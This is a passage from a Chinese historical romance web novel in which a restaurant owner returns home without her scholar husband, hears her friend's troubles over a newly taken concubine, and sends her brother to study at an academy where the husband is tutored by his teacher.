谢九九强行扯开裴元拉着自己的手,转身一把握住关氏的腕子。 “儿媳不在娘千万别委屈了自己,要吃什么要买什么尽管让远舟去,要是有什么府城没有的,您就托人告诉我一声。县里靠着码头,什么东西都能弄到。” 话都说得这么好听了,关氏再有什么话也不好说了。儿媳妇这么放心把儿子留在府城,半点不怕自己跟儿子跟着关家走了,这还有什么好说的。 谢九九糊弄住两人,转身就上了马车。直到马车在巷子口转弯看不见了,关氏才回头看自己的儿子。 想问就这么喜欢谢家这姑娘,喜欢得都放不下了?又觉得这会儿这么问多少有点火上浇油站干岸的意思。最后也只能意味不明地长叹口气,便转身回屋了。 谢九九一个人回县城,马车停在家门口谢文济见到亲姐一句话没问,先绕过她去看马车里,确定马车里真没人这才一跺脚,“姐,我姐夫呢。” 这事不能不说清楚,强拉着谢文济回家把事情的来龙去脉都了一遍,黄娟气得直戳谢九九的脑袋,银子什么时候不好赚,非要你提前回来。 京城的信再久又能走多久,在黄娟心里留住裴元就是眼下最要紧的事。要是他娘真的要去京城,他当儿子的该去送,那谢九九这个当媳妇的跟着走一趟又怎么了。 “我凭什么要去,远舟的娘连裴家的门都没进过,远舟自己也过继出来了。这事归根究底是他娘自己的事,裴三爷都没说话的份,我们家算哪根葱,掺和这个干什么。” 这事要掰扯,就永远掰扯不明白。只有等到事情有个结果,裴元回来或者不回来,到时候自然而然就有个结果了,现在说再多又有什么用。 谢九九拒绝再车轱辘话来回说,只说累了累了就躲回前院屋里去了。 等第二天一早,三下两下吃过早饭又跟屁股后头有人捻着她一样出了门,说是有大事找何奎和秦娘子商量,关乎云客来的未来浪费一天都不行! 谁知好不容易躲开了家里那几人,还没到饭点进客的时候,自己从小玩到大的手帕交又穿得跟个花孔雀一样,蹭蹭蹭的进了云客来。 “你这人,怎么真就一个人回来了。我昨天听家里婆子说你回来了还不信,方才去你家问了才知道。” “又来又来,昨天到家我娘和文济就跟在我身后絮叨了一整天,我这好不容易躲出来图个清净,怎么你又追来了!” “我来吃饭不行啊,你这云客来是不是不做生意,不做我就走了。” “五花肉焖茶树菇、香煎嫩鱼仔、剁椒蒸芋头,再来个蚬子汤,行不行,够不够黄大娘子吃的。” 茶树菇是今天早上刚送到的,像云客来这样的饭庄每天的菜牌都不一样,除了那几个固定的大菜其余的都是随着季节和时令来变。 “行,这个你来安排。再加个石灰蒸蛋,石灰水你给我调,别烧口啊。” 来找谢九九的年轻妇人姓黄名金珠,她还有个弟弟叫黄金宝,娘家在县城是开金铺的,算是县城里一等一的富户。 她家这个黄跟黄娟这个黄没什么关系,两家会认识全靠谢德昌那些年一到年底,就要去黄家的金铺里给妻子孩子买金器,时间一长两家自然就熟了。 黄家就生了一女一儿,听这个名字也知道家里对这俩孩子有多喜欢。 黄金珠她爹受了谢德昌的启发,人家一年给孩子置办一样金器,他就一个月给他姑娘添一样,这么多年从没有哪个月落下过。 前年黄金珠出嫁的时候,听说光是这些年给她攒下来的金货就装满了两个大匣子。 之前谢九九成亲,她提前送了一支赤金的簪子过来,老粗一根金簪样式只能说着实贵气,赤金的簪子拿在手里都坠腕子,那金子有多实诚,两人之间的情谊就有多实诚。 所以这会儿黄金珠找来,谢九九嘴上嫌得不得了,身体还是很诚实的去后厨调了一碗石灰水准备给她做石灰蒸蛋。 第37章 第37章有人的地方就有江湖…… 后厨的菜都是提前准备好了的,进了厨房谢九九挽起袖子准备炒菜,坐在一旁小凳子上抽水烟的老韩见状要起身,被她连连摆手给拦了。 “是金珠那丫头过来了,她嘴刁得很。等会儿她嫌东嫌西的,您老没必要受她这个,还是我来吧。” 黄金珠娘家开金铺的婆家开当铺的,家里光是供她差遣的厨子都有两个,晚上半夜三更馋了饿了得有人随时伺候着。这么个金娇玉贵养大的姑娘,口刁着呢。 不过她也不是不吃,就是吃的时候喜欢唠叨。每道菜她都得点评一番,这个咸了那个淡了,这个过油过大了那个炒得太生了。 哪怕样样都好,她也能说之前在哪哪哪儿吃过一道一样的菜,那一道就怎么怎么着,反正那挑剔劲儿特别烦人。 老韩是之前云客来生意不好的时候,告假回了老家一个多月没见回来的那个大厨。 谢九九跟裴元去府城这段时间人家又回来了,为什么回老家人家没说,回来以后也不谈别的,只说厨房的事有他和大头在,让东家尽管放心。 老韩回来待了大半天就看明白了,谢九九做东家,哪怕天天都能在云客来守着,也一定会在扶持一个自己人钉子一样钉在饭庄里。 这个人只能是女人,秦娘子的话大家伙想不想听都得听。 偏生秦娘子自己是个能干人,虽不是个多泼辣厉害的性子,但她做事有她做事的章法。谢九九没在县城的这段时间,云客来的大小事情都是她在料理。 再加上丈夫何奎在码头上混得开,有什么事情给半个炊饼给街上的小乞儿,不过一小会儿人家男人就能从南门过来。 就算他不在,码头上也还有跟着何奎干活的小兄弟们,随便来一个叫上一声嫂子,搭把手的活儿一下子就给人干完了。 所以这话是老韩跟秦娘子说的,意思也不是仅为了谢九九放心,而是他这个掌勺的大厨跟秦娘子服软。 他管着厨房从今往后不撂挑子,秦娘子管着前面他不仗着是饭庄里的大厨是老资格了就 给她挑刺,只要东家能把云客来维持下去,大家不丢了饭碗就行。 “韩叔,我婶子的身子怎么样了,要是好了还是把人接到县城来呗。在城里住了多少年了,一下子回乡下给媳妇带孩子,能习惯嘛。” “嗐,以前东家没成家,有些话我也不好说。现在您成家了,有些事真就瞒不了您,只能跟您念一念。要不然憋在心里……” 有些话不问还好,一问老韩就憋不住了。苦水总算有了个能倒一倒的地方,且停不住。 “咱们云客来这都多少年了,我家那婆娘一直跟着我在县城里住,说实在的这些年家里开火的时候都不多。” “那是,咱们做这份买卖的,每天备的菜肉只能多不能少。要是开着饭庄还让大厨饿着那成什么了,说出去都叫人笑话。” 都说厨子不偷五谷不收,厨子大多数时候用不着偷。每天饭庄关门落板,厨房里剩下的菜都是大厨先分,其余的剩下了才是秦娘子他们分。 不说天天大鱼大肉的带回去,隔三差五一顿肉总能有的,在县城里就算是不错的日子了。 老韩的手艺不差,但是学厨的时候学的就是口味菜土菜,精细的活儿他做不来,更高档的酒楼饭庄他去不了,也就一直安心待在云客来。 这次突然回乡,一是因为云客来前段时间不稳,生意不好他起了要走的心思。二也是因为家里老幺的媳妇生了孩子,就干脆带着老妻回了一趟乡下。 想着看看自己回去了,有没有新东家去请。要是实在没有,在家替儿子媳妇带孩子,这日子也能过。 老韩当了这么多年的厨子,在乡下买了不少田。 生了两个儿子一个女儿,大儿子跟老韩学了手艺,现在在隔壁县的饭庄上当厨子。大女儿嫁了,夫家是个漆匠,也是个吃手艺饭的。 只有小儿子从小被他奶和娘惯坏了,学厨子不是个轻省的活儿。刚开始的时候光是刀工就苦,切到手是家常便饭的事,没切着那就是没用功。 掌勺了,一年四季天天站在火灶旁,也就冬天能舒服一点儿,但也是烟熏火燎的,人都要熏入味儿了。 一口大铁锅要颠腾起来需要多少力气,当厨子的时间长了谁肩膀手臂上没老伤。 这个苦头老幺吃不下来,到了该说亲的年纪留在县城说不上好亲事,就哼哧哼哧的跟老韩说他愿意回老家,帮他哥看着家里的田。 早在家里老大成亲的时候,老韩就做主给两个儿子分了家。乡下的田是早就分好了的,现在老幺说要回去给他哥看着田,心里打的什么主意一家子哪能不知道。 毕竟是亲生的兄弟,这几年只要老幺给老大的稻谷够数,其余田里的产出老大是不过问的。再加上他自己家里的田,在乡下的日子不可能不好过。 老韩摇了摇头,一口气叹得老长,“不是我们当老的嫌儿子没出息,没出息就不能给他在乡下买那么些田。 可人家成了家有了媳妇孩子,他们就成一家人了。一年那么些进项,不是说你要怎么供着我跟他娘,三天五天的吃个肉不为难他吧。” “要说乡下不是天天杀猪没那么多肉,我那老婆子馋了想吃个鸡蛋,都要被媳妇子当着面摔筷子。 说什么家里的活都是她男人在干,我和他娘都是在家吃干饭的。又说什么家里偏心了老大,把好田都给了老大。偏疼大闺女,不知道背地里给了多少陪嫁。” 只有什么都没学成只能在家务农的老幺,吃了插秧种田的苦了,才后悔当初没把手艺学出来了。 可知道了也晚了啊,小儿媳妇过门之后肚子就没停过,一口气生了两个孩子,还不是要家里老婆子帮忙回去带孩子。 自己这回先上来踏踏实实回了云客来,就是看准了这个小儿子靠不住,要是真的回去养老日子肯定过不下去。做生又不如做熟,还是回来强些。 “既这样,那婶子就别待在家里了。乡下一个村的,给几个钱就有人肯帮着带孩子。韩叔你把婶子叫回来,等咱们那个档口改好了,让婶子帮我管着那边呗。” 早上出门,谢九九直接去了秦娘子家里。跟她和何奎说了想要秦娘子管炸货档口的事,她却一口回绝了。 还顺势说了韩叔跟她说的话,意思是这个档口要么让韩叔的徒弟来,要么让韩叔自己家里人来,她不好插手。 饭庄的前头和后厨说是一体的,只有干活的才知道这里面多多少少有暗流涌动。这个档口归老韩做主,每天的鲜货和送货跑腿归何奎,这样才平衡。 谢九九喜欢用秦娘子和何奎,老韩是看在眼里的。 他本以为这个档口弄起来也是秦娘子负责,现在一下子让自己来管,老韩整个身子都震了一震,也不管谢九九说什么黄金珠口刁的话,立马就把锅铲给要了过去。 “东家您就放心吧,我这手艺虽说上不了大台面,一个炸货的档口还是绰绰有余,要是干得不好,您拿我的不是,我肯定不打半句反口。” 谢九九要的就是他这个态度,把事情说了得了他的保证就行。也不跟他抢掌勺的权,转身出了厨房就往前面忙活去了。 黄金珠吃了饭,去云客来后边谢九九休息的小屋子里打了两个盹儿,直到饭点过了客人都走了,谢九九才端着一小碟刚出锅的撒子和葱油饼进来, “这么香,你的手艺吧。” “嗯,中午老韩教我做血鸭的秘方,我给他说怎么烙这个饼。” “也不知道你怎么就这么喜欢赚钱,一天天的心思全放在这上面了。” 吃饭的时候,坐在二楼雅间里正好能听见临着后巷的小窗外的说话声,是何奎和秦娘子商量窗户怎么改门能快些。 工人匠人都是现成的,真要动工了何奎肯定要整天守在这里,但即便是这样到时候临街的这半边肯定还是要用东西围起来,到时候云客来就是开门肯定也影响生意。 所以得抓紧,赶紧把门和灶台改出来。到时候不光是单改一个小门,还得把冲着外面的档口和里面给隔开,别让炸东西的味道窜得到处都是,就得再加一个烟道往上走才行。 夫妻两个你一句我一句的商量,等商量得差不多了,何奎接过秦娘子给的两个夹了卤肉的炊饼赶紧又走了,活要抓紧材料得先备齐。 屋里摆了两张躺椅,就是给黄金珠备着的。谢九九挑了一根炸得特别酥的撒子捻在手里,一边看黄金珠一边挤兑她。 “不赚钱怎么办,我家要是也有个金铺我也省心,好日子谁不会过啊,给我个金铺我比谁都会当闲人。” “那也不能光赚钱,今天去你家找你,你娘拉着我说了好久,都是说你不该扔下你那女婿自己回来了。” “你别太不当回事,你以为你今年办的这桩桩件件的事,有多招人喜欢?背后多少人等着看你的笑话呢。” “看就看呗,这几年看笑话的人难道少了?” 自家爹爹是得急病死的,有人可惜他正值壮年没了性命,就有人背地里说风凉话,连什么谢德昌命格弱担不起这份家业,要是他家没钱说不定还能保住这条命的话都说出来了。 两张摇椅越摇越默契,连翘着脚的方向都是同一边。谢九九耐心听金珠啰嗦自己,直到她把能说的都说完了,谢九九这才侧过头牵住她的手。 “你说说,今天过来到底因为什么事。” “我能有……”黄金珠下意识就要遮掩,话说到一半看向谢九九的眼睛苦笑一声,才彻底卸下伪装,“你说我也是,跟你跟前还装什么呢。” “你前阵子不在,我家多了一口人。” “谁啊。” “多了个姨娘,良家子,专门纳回来为了继后香灯的。” 第38章 第38章万一是我没良心呢 “为什么?” 为什么,是谢九九听到这话之后最本能的反应。 黄家在县城是数一数二的大户,要不是金珠的弟弟黄金宝实在不是个读书的料,在生意一道上也算 不得多机灵,黄家的金铺早就该开到府城去了。 黄金珠嫁的罗家是开当铺的,做当铺的生意自古以来就是黑白通吃,家底子得硬身后的靠山也得硬,要不然掌柜的要是看走了眼,这铺子说不得就没法开了。 黄家和罗家联姻,真就是处处都合适。罗家对黄金珠也一贯不错,就连跟谢九九这样的手帕交私底下说话,也不曾听她说过罗家的不好。 “你们成亲才两年,为什么这么着急。” “两年还不够久吗。” 黄金珠下意识就反问了一句,问完了才发现谢九九是真的觉得两年时间很短。 并不像家里人那般嘴上说着‘你们成亲时间还短,自己还跟小孩子一样没定性,且不着急要孩子’,但背地里却已经托人给丈夫找好了人,甚至那家人连罗家给的纳妾礼都收下了,自己才知道。 “到底怎么回事,你跟我仔细说清楚。” “那家姓张,是罗家的佃户。家里三代都是给罗家做佃户的,张氏的爹算是罗家的小管事。 前些日子公爹带人去下乡看今年稻谷的收成,也不知道是谁在他跟前说起张家多子多福,才把这事给勾起来。 又说什么张家有个待字闺中的姑娘,身子强壮是个宜男之相。公爹从乡下回来把这事跟我婆婆一说,这事自然而然就成了。” 黄金珠名字取得大气,一听就像个珠圆玉润丰肌玉骨的姑娘,其实她身段挺纤细婀娜的,反正站在谢九九身旁,怎么看谢九九都要比她大上一圈。 倒也不是谢九九胖,就是骨架子看上去更大些。所以这会儿一听她说那个张氏有宜男之相谢九九就明白了,罗家不光是着急抱孙子,他们家还是怕黄金珠身段纤细,到时候生孩子的时候有意外。 “罗永也肯?” “他有什么不肯的,又不要他与人做妾。” 黄金珠跟罗永也是从小相识,说两人是青梅竹马并不为过。谢九九问起他,黄金珠眼眶顿时就红了。 “他们家的人坏得很,我婆婆先把我找过去说了这事,又说什么要是我不乐意这事就作罢,那银子就当是扔到水里,家里不在乎那点银子。” 这话听得黄金珠脸憋得通红,也没能说出反驳的话来。当婆婆的给儿子纳妾,正经论起来不跟当媳妇的说也不是什么大事。现在人家硬话软说,自己又能怎么办。 而后等回了自己院子,丈夫又一副可有可无的做派跟她说,没必要惹得爹娘不高兴。不过一个乡下丫头,纳回来也就是多一碗饭的事,裤腿上的泥巴都没洗干净,他是再不去她房里的。 或许是被逼无奈,又或许是真被罗永的话哄着了,反正隔天张氏就被一台小轿抬进罗家成了姨娘,而口口声声说着嫌人是农家女的罗永,隔了没几天就在人家屋里歇下了。 “你看,我和罗永自小认识日子都过成了这样,你和裴元……” 黄金珠知道这话不好听,可还是咬咬牙继续往下说,“你和裴元这点情分又能经得起多少风雨,你得把人攥紧了啊。人家真要是跟着关家走了,下一个可就更次了。” 下一个,为什么还会有下一个。现在云客来是自家的了,谢家那几个老东西不是病着就是失了势,族里的私塾只要维持一天,自己就一天有所倚仗。 说得难听些,自己要是个没良心的厌弃了裴元把他一脚蹬了又如何。女子不嫁不成亲那就是有罪,可没听说过和离了的妇人不再嫁还有人逼着的。 “我知道你说这些都是为了我,换个人就不说这些讨嫌的话了。” 不过这话没必要跟黄金珠说,人都已经纳回家了,说得再多也是徒增她的烦恼。再说黄、罗两家不光是姻亲,还是生意场上的伙伴。 买卖不成仁义在这句话,用在黄金珠和她丈夫身上也很合适。 恩爱不成交情还在,她方才劝自己的那些话何尝又不是说给她自己的听的。真的和离回了娘家,她下一场姻缘又在何处。 她过不了也不想过自己这样整日都得抛头露面的日子又不是错,本就是千金万金的小姐,凭什么要她来顶门立户。 “你知道就好,我就怕你嫌我啰嗦。” 谢九九突然这般乖顺通情,黄金珠反而不好意思起来。本来还想继续往下说的话也不知怎么开口,还是谢九九见她这幅不爽利的模样主动问,她才拉着谢九九的手开口道。 “我听婶子说你家裴元在青松书院跟先生们关系都不错,你说我让罗永也去青松书院读书怎么样。到时候我也跟过去,在山下买个小宅院雇上两房人,这日子能不能过。” 黄金珠也不傻,公婆的意思不好违逆,进了门的姨娘她也不能把人怎么着,甚至连丈夫要睡到张氏房里去她也只能看着。 闹没有用,两人夫妻恩爱的时候自己怎么作兴怎么闹在罗永眼里都是趣意,可要是自己拿他去张氏那里跟他吵,用不了多久,本就已经摇摇欲坠的夫妻情分,恐怕就更剩不下什么了。 所以唯一的办法就是躲了吧,罗家一直在供罗永读书,他们家倒不是非要罗永考上功名,人家是奔着人脉关系去的。 读书人的圈子讲究师承和同窗情谊,越往上走越是如此,就好比京城里许多会馆都是各省各府出资办的。 同一个地方出去的学生有什么事情都能去会馆,只要不是太过为难的事情,你自己又不是一事无成一点未来的价值都看不到,就总会有人搭把手的。 罗永一直在读书为的就是这个,自己考不中没关系,自己的老师自己的同学以后能考中就行了。 罗家有钱,考中的同窗却不见得家家都殷实,罗永跟他们搞好关系,每每有同窗考中秀才他都要送上丰厚的礼物, 都说礼多人不怪,即便大家明白他图的是什么,可人家好言好语陪着好话还主动送礼上门,罗家又不是那等仗势欺人的人家,他的好意没人会推拒。 黄金珠比谢九九大两岁,罗永比黄金珠大一岁,听说他现在的同窗里就有三个考上了秀才的,这再过几年会不会有人考上举人老爷,还真说不准。 “青松书院山脚下环境不错,大部分田产都是书院的产业,佃农也多是给书院种田,那附近不管是买还是租个农家小院都可以,只看你受不受得了不住在城里的日子。” 去书院读书,不管家在没在府城的一月只有两日沐休。那两天随便学生留在书院还是出去玩儿。 要是家离得近的又成了家的,在院监那里报备过了就能凭令牌出书院回家,只要第二天别耽误了上课就行。 “这个不要紧,他回不回来也就那样吧,只要能把他跟张氏隔开就行。” 黄金珠以前不是这样的,以前她还没跟罗永成亲的时候,每次跟谢九九提起她的未婚夫,眼底眉梢全是浓得化不开的笑意。现在谈及二人之间的事,眸中却一点波澜都无了。 “你是想跟过去,赶在张氏之前把孩子生下来,对不对。” “对。” 自己家里跟罗家门当户对,自家的家底子仔细论起来比罗家要强一些,黄金珠本以为这些都是她的倚仗,却不想原来这些什么用处都没有。 自己在公婆眼里,还不如一个骨架大胯宽好生养的农家女。而自己眼下,除了比张氏先生出一个孩子来,也没有一点办法。 “还有就是想你跟你家裴元打个招呼,要是罗永真的去了青松书院,还劳烦他多多看顾。你放心,罗家别的都不说,但手里大方是出了名的。” 说了这么多,黄金珠今日过来的所有意思谢九九终于彻底弄明白了。 一是真心实意的劝自己,抓紧了裴元别让他跟着关家走了,这么一个上门女婿过了这个村就没有这个店了。 二是把憋在心里的苦同自己诉一诉,这些话她没法回娘家说,真要回了娘家就闹大了。更没法在婆家表现 出来,现在她这个做正妻的,不管是着急还是生气,表现出来一丝都是落了下乘。 三、也是最重要的一点,她是想借自己的关系让裴元给罗永牵线搭桥,让他能心甘情愿放下县城的关系人脉,安心去青松书院。 既能让罗永知道她这个妻子除了家世好,在外也能替他结识他攀不上的关系,也能让裴元从罗永手里得些好处。 毕竟给外面那些人也是给,给谢九九的夫婿也是给。给了裴元,裴元多多少少还得花在谢九九身上,这不比给别人花了强? “你的意思我明白了,过几天老二就要去府城,我让他带封信给裴元。做生意的事他不成,读书的事我不成,我肯定给你把这事好好的说,但他俩投契不投契,我不给你保证。” “行,只要你肯去信,他们读书人之间的事,让他们自己处理。” 这话听得谢九九没忍住笑出了声,黄金珠愣了一下才反应过来她笑的是什么,抬手就在谢九九肩膀上锤了两下,“你这人,真坏。” “我坏什么了我坏,我可什么都没说,是你自己猜的。” 就罗永还是读书人,这话幸好也就说给自己听听,真说出去谁不笑话。 第39章 第39章好好读书 白天黄金珠说了那么多,谢九九多少还是往心里去了的。又过了两日,谢文济带着大包小裹的要往府城去,谢九九往弟弟手里塞了一个装得满满登登的荷包。 “姐,我有银子,娘都给了。” “不是给你的,你把这个给你姐夫。” 荷包里大部分都是碎银角子,加起来有一二十两,还有一卷宝钞加起来也有十两银子,再有就是一张一百两压箱底的汇票。 汇票可以拿着去府城几个大钱庄兑银子宝钞,他一个人在府城就怕有个不趁手的地方,给银子比给什么都强。 这几天谢九九忙着云客来的事,谢文济要去青松书院读书,都是黄娟和芝娘在家张罗收拾行李包袱。谢九九没管,一家子都觉得她是真没把裴元往心里搁。 “我还以为你真不管姐夫了呢。” “我不管谁管,你跟他说……” “算了算了你别说了,要说的话我都写在信上了。信你别半路偷看啊,好好的给人家,记住没。” “记住了记住了,我们读书人哪能偷看别人的信啊,你别操这个心了。” 给了信又给了银子,谢文济这一下就放心多了。也不觉得离家有多难过,爬上马车就走,心里满是对府城和大书院的憧憬。 谢文济高高兴兴进了岳州府府城,被何奎和马夫直接送到了小院门口。 谢文济长得跟谢九九有五六分像,和以往一样搬着小凳坐在门口的唐寡妇一看就知道是谁,正要起身进去喊裴元出来,却被谢文济红着脸一把给扶住了。 “大娘您慢些,天气热站起来别太着急,当心头晕。” 要来府城求学,黄娟拉着儿子叮嘱了许多,其中最要紧的就是到了姐夫他娘的家里要殷勤些勤快些,眼里要有活儿,实在不会干就嘴上热闹些,别木头一样这也不行那也不行。 不要因为有你姐夫,就和在家里一样当少爷,出了门你就是个读书读得半桶水,什么都要人操心的半大小子。不说人人都喜欢你,但千万不要惹人厌烦。 谢九九长得好,谢文济的皮相自然也非常拿得出手。 平时巷子里来来往往的大小伙子们,懂礼貌的规规矩矩喊一声唐婆婆唐大娘,然后赶紧快赶进步走开。不懂礼貌的低着头贴着墙角走过去,只当没看见这个脾气不好性子古怪的老寡妇。 像谢文济这样主动亲近的还真是头一个,哪怕是裴元,这几年对唐寡妇也一直都是礼貌有加,亲近却是办不到的。 “我没事。”唐寡妇不用谢文济搀扶,但面上的神情还是肉眼可见的缓和下来,“是谢二爷吧,你姐姐前几天回去之前就跟我说了,这几天家里都等着谢二爷来。” “我才多大年纪,大娘快莫叫我什么爷,您唤我二郎就行了。我在家中行二,底下还有一个妹妹。” “那行,就听谢家二郎的。” 裴元听见门口的动静,从书房出来时就已经看见一老一小一边说话一边从门口进来。 唐寡妇那个装针头线脑的小篓子这会儿正被谢文济拿在手上,不认识的人见了恐怕还以为他俩就是正经祖孙。 “姐夫!” 谢文济是真想裴元了,家里多了裴元以后谢文济每天总要缠着他姐夫说说话,要么把裴元拉去自己的书房,要么就赖在前院裴元的书房里,赖到天都快黑了再回后院去。 “怎么才来,是不是家里有什么事。” “没事啊,娘说要去书院读书,恨不得把家里能带上的东西都给我带上,光收拾四季要穿的衣服就收拾了一整天。” 裴元嘴上问着谢文济,眼睛却看向他身后,看着何奎往院子里搬东西,又朝他微微摇了摇头,一直悬着的那颗心才终于死了。 “你姐在家可还好,云客来忙不忙,她可曾让你给我捎带东西了?” 要不说小别胜新婚呢,天天在一起的时候只觉得趣意多,没觉得身边少个人就能如何,要不然谢九九说要走,裴元也不会只是不高兴却没拦着。 等人真的走了,夜里一个人躺在床上才知长夜漫漫何其难熬。明明也不是想着那档子事,可就是觉得身边缺了个人,连同心里也空荡荡的,不像话! “带了带了,带了好多呢。” 谢九九写给裴元的信被谢文济贴身放了,就怕路上有什么意外把信封信纸给污了,那就罪该万死。 “信是姐姐在前院书房里写的,我想看她还不让,家里没什么大事云客来也好着,不知道写了什么这么厚厚一沓。” 信给了裴元,谢文济又从随身带着的书箱里把装银子的荷包拿出来,“这也是姐姐给的,她说你在府城用钱的地方多,要用钱了千万别小气,实在不够里面还有一张汇票。” 谢文济没打开荷包看,他也不知道谢九九给谢文济的汇票能兑多少。他自己也有姐姐给的汇票,两张五十两的。就是怕在外面碰上什么要命的情况,拿来花钱消灾。 小舅子近乎殷勤的态度,多少安抚了一点点儿裴元被抛下的心。 黄娟捎带过来的东西和几坛子酒,连同那一荷包银子被裴元自动理解为都是谢九九给他准备的,好歹没有一回去就忘了府城还有自己这么个人,还不算全没了良心。 看姐夫自己这么哄着自己,哄得还挺像那么回事,谢文济自然不会戳破。只是心中多少有些感慨,怎么男人成了亲跟成亲前全然不是一个样子。 没过门前,姐夫虽然也会隔三差五往家里去,但一向都是进退得宜很自持的一个人。哪像现在啊,见了自己也不问一句路上走得顺不顺,张嘴就先问姐姐。 看来这男人成亲好也不好,好是有了一个家,不好嘛,反正谢文济偷偷跟自己说,以后成亲自己可不做姐夫这么粘人的人。 谢文济跟着裴元往小院厢房里走,面上半点不露心里疯狂吐槽,他还是更喜欢他姐夫那副稳若泰山八方不动的样子。现在这样,多少有些不值钱。 裴元不知道谢文济在心里死劲儿蛐蛐自己,留谢文济在家里住了三天。 确定送谢文济来府城的人回去了,确定自己要人家带给谢九九的回信都带了,确定谢九九要是真放心不下自己该来早来了也没见着人,这才领着小舅子往书院去。 学生新入书院都不习惯,尤其像谢文济这 种半路插班来旁听的,连斋舍该怎么给他分都要花点心思。 学得好的学生是不要想了,人家有人家的圈子,眼下都卯着劲儿准备每年下场考试。 突然安排一个四书还没读透,八股和策论怎么破题还生疏得很的雏儿住进去,不光是扰了人家读书的氛围,也会害了谢文济。 同样把他塞到跟他一样的旁听生斋舍里去也不好,大家大哥不笑二哥倒是不会有什么矛盾。 可大家都不学,也不知道怎么学,日子一长,等谢文济熟悉了书院不觉得生疏了,就很容易得过且过的混日子。 裴元在李院监处商量半天,才给谢文济选定了斋舍,同舍的另外三名学生都是家境不错成绩中下,不是不读书,相反还很勤奋,只不过天赋有限。 这样的人或许读书读不成气候,但让谢文济跟他们同窗,至少能学一学他们身上那股子头悬梁锥刺股的劲头。 谢文济小时候身体不好,家里还是太娇惯了些。裴元这个当姐夫的不好管束他太狠,就只能找人来管一管他。 谢文济安顿好,第二天就开始跟着童生黄二班旁听。旁听生的位置并不在最后面,而是在侧面摆了几张桌子,方便先生随时观察他们的学习情况。 旁听的学生也不止谢文济一人,或许是前一天晚上跟同斋舍的舍友关系处得不错,人家说了些经验之谈给他,谢文济这会儿坐在侧边最末尾的书桌后面并不慌张。 裴元连着守了他三天,见谢文济适应得不错才放手不管,重新收拾了自己留在客院的包袱东西,直接去了书院后头自己老师的住处。 裴元的老师姓崔名顺,字鹤儒,是裴元正经准备了六礼束脩,拜帖投师签订关书拜到崔顺门下的那种老师。 古话总说一日为师终身为父,崔顺和裴元的关系便是如此。以后不管裴元的前程如何,一问师承何处那就是崔鹤儒的学生。 只不过崔鹤儒是个特别怕麻烦特别不拘小节的人,上次裴元带谢九九来书院,他见了一面以后就让裴元忙他自己的事去。 老头儿明明白白说了,你忙你的,该去找山长的找山长,要办事就去找李骏,等手里的事情都处理好了再回他这里来,落下的功课别想躲了。 现在不补上以后也要补,崔鹤儒对于裴元什么时候下场考试并没有执念,他学成了什么时候下场什么时候就能考中,要是学不成那就再多耽搁几年,着急也无用。 “来了。” “让老师久等,是学生的不是。” “少学李骏身上那股子油腔滑调,你如今成家了自然要把心思放在家里,你亲娘的事又复杂,你身为人子不管又还有谁管。” 崔鹤儒是一个看上去其貌不扬的小老头,说出来的话却字字句句都是替他这个学生着想。 不过这般春风化雨的好老师也就维持了这么一小会儿,等裴元安下心来留在崔鹤儒院子补课,三天就被崔鹤儒布置下来的功课给彻底降服了。 别说什么裴老三和关家,就是谢九九他都几乎没时间惦记。整天睁眼便是上课,不上课的时候就是在写崔鹤儒留下来的功课。 八股与策论,崔鹤儒出的题目没有偏门的,但就是能精准的摸到裴元学得不扎实的地方。再围绕他不扎实的地方继续查漏补缺,必须练到他吃透了学明了为止。 第40章 第40章你是不是偷藏了我的信…… 裴元虽还未下场考试,只是个童生,但崔鹤儒对他的要求从来不止于此。自然不会像山长那样觉得不应该过于严苛,应该先顾及眼前,稳扎稳打把乡试过了再说。 在他看来裴元以后的路还长,秀才对他来说如同探囊取物,他要做的是在解决了后顾之忧以后死命往前赶,把之前落下的功课全部补上来。 以前背得滚瓜烂熟的经史子集,生疏了的重新背,背不下来的就抄,抄到裴元做梦梦里都在背书这才算真的重新背熟了。 在山下的时候,总觉得每天都有干不完的事,总有赚不完的钱交际不完的人。等到了山上在老师的小院子里定下心来,才恍然不是外面的事情多,是自己的心这几年一直都是乱的。 一心一意读书,外面的事情也不曾因为少了自己而有什么不同。自己现在就只是个可有可无的童生,来来回回折腾这么久,其实说到底谁没了自己都行。 等到再交作业的时候,裴元正襟危坐地坐在崔鹤儒对面的书桌后,“老师,您的意思学生明白了,这几年是学生的心太浮躁了。” “这不怪你。”崔鹤儒看裴元的文章,文笔老道破题的点一阵见血,行文稳重周全,只有在字里行间细节处,才能看出来写文章的人并不是墨守成规之人。 相反他是在故意藏锋,他是知道不管以后的主考官是谁,都不会喜欢一个桀骜不驯不按规矩行事之人。所以裴元必须把自己的锋芒和锐气藏住,但是又不能过于圆滑规矩。 “你不是在给主考官展示你自己,你是在拿捏,该给考官看一个怎么样的裴元。” “不敢瞒着老师,若按照学生心中所想作答,恐怕不为人所喜。” 裴元对于为什么要读书对做官,本意是俗之又俗,不过是学成文武艺货与帝王家。以他为人处世的风格,实在是说不出修身齐家治国平天下这等豪言壮语。 真做了官,就裴元这个性子就连崔鹤儒也说不好他到底会是个什么样的官,唯一能确定的只有一样,自己这个学生绝不会安分从时! “既如此,就该多练。你如今下笔虽瞒得好,但瞒得太好了就显得虚伪。要学会七分真三分假,可以有锋芒,却要明白这个锋芒该对着谁。可以锐气,也得知道这个锐气不能伤人伤己。” 该规矩安分,却不能过于暮色沉沉。本朝选官不止选才还要选貌,这个貌不止是样貌还有风貌气质,都说文如其人是有道理的。 五六十的老童生写出来的东西和十七八的童生学出来的文章,即便不署名也有天壤之别。 年少之人或许冲动不周全,年老之人或许事事周到,但不管是考官还是皇上,挑选官员都会选那个冲动的,这是人性使然,毫无道理可讲,却又是人之常情。 “你重情也记恩,这是你的好处,能被你认作自己人的运道不错。” 崔鹤儒这话不免有自夸的嫌疑,神情里却没一点不好意思。好像能收下这么一个学生,就是一件能令人自得的事情。 “但你自私。”崔鹤儒话锋一转,脸色也沉了下来,“这本不算错,可日后你若为官一不小心便能铸成大错,这个缺点你可能改?” 重情、有私心、又不拘一格能屈能伸的人,做朋友做亲人做丈夫都差不到哪里去,但为官就不好说了。 崔鹤儒今日说的是裴元的文章,也是他的为人。他做人心不够宽,文章也少了几分真挚,要改的除了字里行间的行文,自然也有他的性情。 “老师的教诲,学生记下了。”被崔鹤儒点出了缺点裴元并不羞恼,反而已经在心里开始琢磨今晚的功课,该从哪里开始改起。 本朝科举以八股文为主,要想把八股文写好破题则是最开始也是最重要的基调,破题之后论述、论证才不会跑偏,既然要改就得从破题开始改。 裴元在做学问上一向严谨多思少说,书房里记在纸上不好见人的小册子没有一箱也有大半箱,现在突然要开始学会多说几分真话,且不容易。 